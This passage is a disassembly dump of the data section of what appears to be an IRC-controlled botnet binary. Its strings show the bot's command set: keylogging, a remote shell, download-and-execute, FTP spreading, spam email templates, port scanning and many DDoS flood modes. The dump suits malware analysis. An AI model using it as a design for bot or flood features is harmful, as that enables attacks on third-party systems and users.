sub_401AA1+77A3o dd 6C026C02h, 2C313003h, 5D353103h, 2203103h, 6C690246h dd 4F022065h, 6E657002h, 64026502h, 2034033Ah, 7325h dword_42BA00 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+777Ao dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1ServerChanged db '1 Server changed to: ',27h,'%s',27h,'.',0 align 10h unk_42BA40 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_4091FFo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_42BA68 db 2Dh ; - ; DATA XREF: sub_401AA1+7733o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 dword_42BA88 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh ; DATA XREF: sub_401AA1:loc_40919Ao dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh dd 2206574h, 6F720250h, 73736563h, 2031033Ah, 7325h dword_42BAD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh ; DATA XREF: sub_401AA1+76EFo dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch dd 34033A64h, 732520h, 0 dword_42BB20 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh ; DATA XREF: sub_401AA1:loc_409140o dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 2203403h dd 69610246h, 2064656Ch, 2206F74h, 72650254h, 616E696Dh dd 2206574h, 6F720250h, 73736563h, 3A444920h, 25203103h dd 73h, 0 dword_42BB78 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh ; DATA XREF: sub_401AA1+7698o dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h dd 6F720250h, 73736563h, 24B0220h, 26C0269h, 265026Ch dd 44492064h, 2034033Ah, 7325h dword_42BBC0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh ; DATA XREF: sub_401AA1:loc_4090F9o dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 31h dword_42BBE8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F461Fh ; DATA XREF: sub_401AA1+7651o dd 26C0269h, 3020265h, 32C3130h, 35D3531h, 44022031h, 26C6502h dd 65740265h, 3026402h, 25272034h, 2E2773h unk_42BC24 db 2Dh ; - ; DATA XREF: sub_401AA1+7626o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 10h unk_42BC60 db 2Dh ; - ; DATA XREF: sub_401AA1+75CDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_42BC84 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401AA1+755Bo dd 2 dup(0) unk_42BCA0 db 2 ; DATA XREF: sub_401AA1+752Bo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 56h ; V db 2, 69h, 73h db 2 db 69h, 74h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a1FailedToStart db '1 Failed to start connection thread, error: <%d>.',0 align 4 dword_42BCF4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 73690256h ; DATA XREF: sub_401AA1+74D2o dd 2746902h, 2C313003h, 3A343103h, 2203103h, 4C520255h dd 2034033Ah, 2E7325h dword_42BD24 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401AA1:loc_408ECEo dd 746E6573h, 2Eh unk_42BD40 db 2Dh ; - ; DATA XREF: sub_401AA1+7426o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 10h dword_42BD60 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26D0243h ; DATA XREF: sub_401AA1+73E9o dd 30030264h, 31032C31h, 31033A34h, 2430220h, 616D6D6Fh dd 3A73646Eh, 25203403h, 73h, 0 unk_42BD98 db 2 ; DATA XREF: sub_401AA1+73E1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 43h ; C db 2, 6Dh, 2 db 64h ; d db 2, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 31h aErrorSendingTo db ' Error sending to remote shell.',0 asc_42BDD8: ; DATA XREF: sub_401AA1+73C3o ; sub_410370+FAo ... dw 0Ah unicode 0, <>,0 dword_42BDDC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+739Bo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1ReadFileFaile db '1 Read file failed: %s',0 align 4 dword_42BE18 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+7387o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1ReadFileCompl db '1 Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401AA1:loc_408DB7o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401AA1+72F7o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401AA1+7295o align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401AA1+7248o align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401AA1+71C1o align 4 aKeyloggerActiv db 'Keylogger active.',0 ; DATA XREF: sub_401AA1+7194o ; sub_401AA1+7240o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401AA1+718Fo align 4 dword_42BEF8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+716Eo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 736F6874h dd 25203A74h, 2E73h, 0 dword_42BF30 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1:loc_408BD4o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1UnableToExtra db '1 Unable to extract Gethost command.',0 align 4 dword_42BF7C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+711Do dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1GethostSComma db '1 Gethost: %s, Command: %s',0 align 4 dword_42BFBC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+707Eo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1AliasAddedS_ db '1 Alias added: %s.',0 align 4 dword_42BFF4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+7040o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1PrivmsgSS_ db '1 Privmsg: %s: %s.',0 align 4 dword_42C02C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+6FEAo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1ActionSS_ db '1 Action: %s: %s.',0 align 4 dword_42C064 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+6F7Fo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 79432031h, 2E656C63h dd 0 dword_42C094 dd 54524150h, 0D732520h, 0Ah ; sub_401AA1+79AAo dword_42C0A0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+6F19o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1ModeChangeS db '1 Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+6F0Bo align 4 dword_42C0E4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401AA1+6EE2o dd 25203A29h, 73h dword_42C100 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401AA1+6E77o dd 203A2973h, 7325h dword_42C11C dd 45444F4Dh, 732520hdword_42C124 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401AA1+6DF0o dd 203A2973h, 7325h dword_42C140 dd 4E494F4Ah, 20732520h, 7325hdword_42C14C dd 0A0D7325h, 0 ; sub_401AA1+6DCFo ... dword_42C154 dd 54524150h, 732520hdword_42C15C dd 234032Dh, 67726174h, 3023361haFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42C198 dd 234032Dh, 67726174h, 3023361haFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_42C1C4 db 2Dh ; - ; DATA XREF: sub_401AA1+6BF4o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42C200 db 2Dh ; - ; DATA XREF: sub_401AA1+6B95o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 align 8 dword_42C238 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1:loc_4085D0o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1RepeatNotAllo db '1 Repeat not allowed in command line: %s',0 align 4 dword_42C288 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+6AF8o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65522031h, 74616570h dd 7325203Ah, 0 dword_42C2BC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1:loc_408500o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65442031h, 2E79616Ch dd 0 dword_42C2EC dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; sub_401AA1+6AD2o ... dword_42C300 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2700255h ; DATA XREF: sub_401AA1:loc_40846Fo dd 74026164h, 3026502h, 32C3130h, 35D3531h, 42022031h dd 20746F02h, 2440249h, 24D0220h, 20747375h, 65024202h dd 2440220h, 65666669h, 746E6572h, 2540220h, 206E6168h dd 75024302h, 6E657272h, 72022074h, 6E6E7502h, 20676E69h dd 72025002h, 7365636Fh, 2E73h dword_42C370 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2700255h ; DATA XREF: sub_401AA1+69AFo dd 74026164h, 3026502h, 32C3130h, 35D3531h, 46022031h dd 6C696102h, 2206465h, 206F0254h, 74025302h, 20747261h dd 6F024402h, 6F6C6E77h, 2206461h, 72680254h, 2C646165h dd 2450220h, 2720272h, 272026Fh, 2034033Ah, 3E64253Ch dd 2Eh dword_42C3D8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 2700255h ; DATA XREF: sub_401AA1+6956o dd 74026164h, 3026502h, 32C3430h, 35D3531h, 44022034h dd 2776F02h, 6F6C026Eh, 2640261h, 20676E69h, 70025502h dd 65746164h, 2460220h, 3A6D6F72h, 25203103h, 2E73h dword_42C428 dd 73257325h, 6578652Eh, 0dword_42C434 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401AA1+6854o dd 7325203Ah, 0 unk_42C450 db 2Dh ; - ; DATA XREF: sub_401AA1+6849o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42C474 db 2Dh ; - ; DATA XREF: sub_401AA1+6797o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42C4B0 db 2Dh ; - ; DATA XREF: sub_401AA1+6733o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42C4E0 dd 234032Dh, 656C6966h, 2D0302hunk_42C4EC db 2Dh ; - ; DATA XREF: sub_401AA1+667Do db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42C510 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_4080FCo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42C548 db 2Dh ; - ; DATA XREF: sub_401AA1+663Co db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42C580 db 2Dh ; - ; DATA XREF: sub_401AA1+65D8o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42C5AC dd 234032Dh, 6E6F6C63h, 3027365haFailedToStartC db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42C5E8 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42C618 db 2Dh ; - ; DATA XREF: sub_401AA1+644Co db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_3 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42C650 db 2Dh ; - ; DATA XREF: sub_401AA1+63EAo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42C680 db 2Dh ; - ; DATA XREF: sub_401AA1+6354o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_4 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42C6B8 db 2Dh ; - ; DATA XREF: sub_401AA1+62F2o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42C6E8 db 2Dh ; - ; DATA XREF: sub_401AA1+626Do db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_5 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42C720 db 2Dh ; - ; DATA XREF: sub_401AA1+620Bo db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 10h dword_42C760 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0244h ; DATA XREF: sub_401AA1+6186o dd 26E0277h, 26F026Ch, 2640261h, 31300302h, 3531032Ch dd 2031033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h dd 72617402h, 54022074h, 6E617202h, 72656673h, 2540220h dd 61657268h, 2202C64h, 2720245h, 26F0272h, 33A0272h, 253C2034h dd 2E3E64h, 0 dword_42C7D0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0244h ; DATA XREF: sub_401AA1+612Do dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 6F024402h, 6C6E0277h, 2616F02h, 26E6964h dd 2552067h, 3A4C0252h, 25203103h, 34032073h, 26F0254h dd 2031033Ah, 3207325h, 2540234h, 31033A6Fh, 2E732520h dd 0 unk_42C838 db 2Dh ; - ; DATA XREF: sub_401AA1+604Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42C87C db 2Dh ; - ; DATA XREF: sub_401AA1+5FF3o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 dword_42C8B8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0250h ; DATA XREF: sub_401AA1+5F05o dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch dd 2031033Ah, 1F025002h, 74721F6Fh, 2530220h, 611F631Fh dd 5302206Eh, 72617402h, 1F651F74h, 30033A64h, 73252034h dd 2064253Ah, 2570203h, 741F691Fh, 44022068h, 1F6C6502h dd 3A791F61h, 20343003h, 6D286425h, 2E2973h dword_42C92C dd 5D73255Bh, 73253C20h, 7325203Eh, 0dword_42C93C dd 5D73255Bh, 25202A20h, 73252073h, 0dword_42C94C dd 54434101h, 204E4F49h, 17325h ; sub_401AA1+6FCBo dword_42C958 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F0250h ; DATA XREF: sub_401AA1+5C85o dd 1F740272h, 1F025302h, 6E610263h, 34300302h, 3531032Ch dd 2034033Ah, 61024602h, 64656C69h, 6F025420h, 53022002h dd 72617402h, 53022074h, 6E616302h, 2540220h, 61657268h dd 2202C64h, 2720245h, 26F0272h, 33A0272h, 253C2031h, 2E3E64h dword_42C9C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26F0250h ; DATA XREF: sub_401AA1+5C2Co dd 1F740272h, 1F025302h, 6E610263h, 31300302h, 3531032Ch dd 2031033Ah, 6F025002h, 2207472h, 61630253h, 5302206Eh dd 72617402h, 3A646574h, 25203403h, 31032073h, 69025702h dd 2206874h, 6C650244h, 33A7961h, 64252034h, 29736D28h dd 2310320h, 65680243h, 6E696B63h, 52022067h, 676E6102h dd 20340365h, 252D6425h, 2E64h, 0 dword_42CA48 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+5B80o dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h dd 2540220h, 61657268h, 2202C64h, 72720245h, 33A726Fh dd 253C2031h, 2E3E64h dword_42CAA0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+5B27o dd 3026E02h, 32C3430h, 33A3431h, 73252034h, 2310320h, 726F0250h dd 53022074h, 6E616302h, 2530220h, 74726174h, 6F206465h dd 2034036Eh, 253A7325h, 31032064h, 69025702h, 61206874h dd 2440220h, 79616C65h, 3666F20h, 64252034h, 2310320h dd 63650253h, 73646E6Fh, 2460220h, 3403726Fh, 20642520h dd 4D023103h, 756E6902h, 20736574h, 73025502h, 3676E69h dd 64252034h, 2310320h, 72680254h, 73646165h, 2Eh, 0 dword_42CB48 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+59B1o dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h dd 24E0220h, 249206Fh, 2200250h, 65700253h, 69666963h dd 2E6465h, 0 dword_42CBA0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+5954o dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h dd 74206465h, 5302206Fh, 72617402h, 53022074h, 6E616302h dd 5002202Ch, 74726F02h, 20736920h, 61766E69h, 2E64696Ch dd 2 dup(0) dword_42CBF8 dd 35310302h, 25B302Ch, 91343003h, 1F313003h, 1F024602h ; DATA XREF: sub_401AA1:loc_4072CFo dd 2700254h, 2C343003h, 3A353103h, 2203403h, 6C700255h dd 61026F02h, 2690264h, 220676Eh, 2690246h, 3A65026Ch dd 25203103h, 34032073h, 6F025402h, 2031033Ah, 3207325h dd 2460234h, 2690261h, 265026Ch, 2E64h dword_42CC58 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h ; DATA XREF: sub_401AA1+5827o dd 2700254h, 2C313003h, 3A353103h, 2203103h, 6C700255h dd 61026F02h, 2690264h, 220676Eh, 2690246h, 3A65026Ch dd 25203403h, 31032073h, 6F025402h, 2034033Ah, 7325h dword_42CCA8 dd 2E707466h, 657865hdword_42CCB0 dd 253A732Dh, 73haOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401AA1+57D9o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401AA1+57B5o align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401AA1+57A4o align 10h dword_42CCF0 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h ; DATA XREF: sub_401AA1+574Bo dd 2700254h, 2C313003h, 3A353103h, 2203103h, 6C690246h dd 24E2065h, 2074026Fh, 6F024602h, 3A646E75h, 25203403h dd 2E73h aUpload db 'upload',0 ; DATA XREF: sub_401AA1+5728o align 4 dword_42CD38 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_401AA1+56F2o dd 3026E02h, 32C3430h, 33A3431h, 41022034h, 65726C02h dd 3796461h, 64252031h, 2340320h, 61630253h, 6E696E6Eh dd 54022067h, 65726802h, 2E736461h, 6F025420h, 2206F02h dd 6E61024Dh, 53022079h, 63657002h, 65696669h, 2E64h unk_42CD9C db 2Dh ; - ; DATA XREF: sub_401AA1+56A8o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_6 db '- Failed to start flood thread, error: <%d>.',0 align 8 unk_42CDD8 db 2Dh ; - ; DATA XREF: sub_401AA1+564Fo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h unk_42CE20 db 2Dh ; - ; DATA XREF: sub_401AA1+55A1o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 unk_42CE54 db 2Dh ; - ; DATA XREF: sub_401AA1+556Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42CE88 db 2Dh ; - ; DATA XREF: sub_401AA1+5549o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_42CEC0 db 2Dh ; - ; DATA XREF: sub_401AA1+54A7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401AA1+548Ao align 4 unk_42CF14 db 2Dh ; - ; DATA XREF: sub_401AA1+5460o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42CF50 db 2Dh ; - ; DATA XREF: sub_401AA1+5407o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_42CF98 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406DD8o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 10h unk_42CFD0 db 2Dh ; - ; DATA XREF: sub_401AA1+531Bo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42D008 db 2Dh ; - ; DATA XREF: sub_401AA1+52B7o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401AA1+52A7o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401AA1+52A0o unk_42D04C db 2Dh ; - ; DATA XREF: sub_401AA1+520Bo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aRandom_0 db 'random',0 ; DATA XREF: sub_401AA1+51FBo ; sub_414BED+2FDo align 10h aAck db 'ack',0 ; DATA XREF: sub_401AA1+51E4o ; sub_414BED+2DDo aHcon db 'hcon',0 ; DATA XREF: sub_401AA1+5170o align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401AA1+515Do unk_42D094 db 2Dh ; - ; DATA XREF: sub_401AA1+510Eo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401AA1+509Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401AA1+4FAFo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401AA1+4F98o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401AA1+4F81o align 4 aP: ; DATA XREF: sub_401AA1+4F6Ao ; .XPack0:0043AC18o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401AA1+4F53o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401AA1+4F3Co align 4 aNs db 'ns',0 ; DATA XREF: sub_401AA1+4F25o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401AA1+4F0Eo aU: ; DATA XREF: sub_401AA1+4EF7o ; .XPack0:0043AC10o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401AA1+4EE0o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401AA1+4EC9o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401AA1+4EB2o aAsc db 'asc',0 ; DATA XREF: sub_401AA1+4E9Bo aPsc db 'psc',0 ; DATA XREF: sub_401AA1+4E84o aPortscan db 'portscan',0 ; DATA XREF: sub_401AA1+4E6Do align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401AA1+4E47o aC_action db 'c_action',0 ; DATA XREF: sub_401AA1+4E30o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401AA1+4E19o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401AA1+4E02o align 4 aSc db 'sc',0 ; DATA XREF: sub_401AA1+4DEBo align 4 aScan db 'scan',0 ; DATA XREF: sub_401AA1+4DD4o align 10h aRd db 'rd',0 ; DATA XREF: sub_401AA1+4DBDo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401AA1+4DA6o align 10h aG3t db 'g3t',0 ; DATA XREF: sub_401AA1+4D8Fo aDdrs db 'ddrs',0 ; DATA XREF: sub_401AA1+4D78o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401AA1+4D61o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401AA1+4D4Ao align 10h dword_42D1D0 dd 234032Dh, 73796B73h, 3026E79haFailedToStar_9 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42D20C dd 234032Dh, 73796B73h, 3026E79haFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401AA1+4C4Co align 4 aSyn db 'syn',0 ; DATA XREF: sub_401AA1+4C35o ; sub_401AA1+51CCo ... aSynflood db 'synflood',0 ; DATA XREF: sub_401AA1+4C1Eo align 4 unk_42D254 db 2Dh ; - ; DATA XREF: sub_401AA1+4BFCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401AA1+4B3Bo align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401AA1+4B24o ; sub_4138D3:loc_4139FFo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401AA1+4B0Do ; sub_4138D3:loc_4139E3o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401AA1+4AF6o ; sub_4138D3+F1o align 4 aC: ; DATA XREF: sub_401AA1+4ADFo ; .XPack0:0043AC48o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401AA1+4AC8o align 10h aIcmp db 'icmp',0 ; DATA XREF: 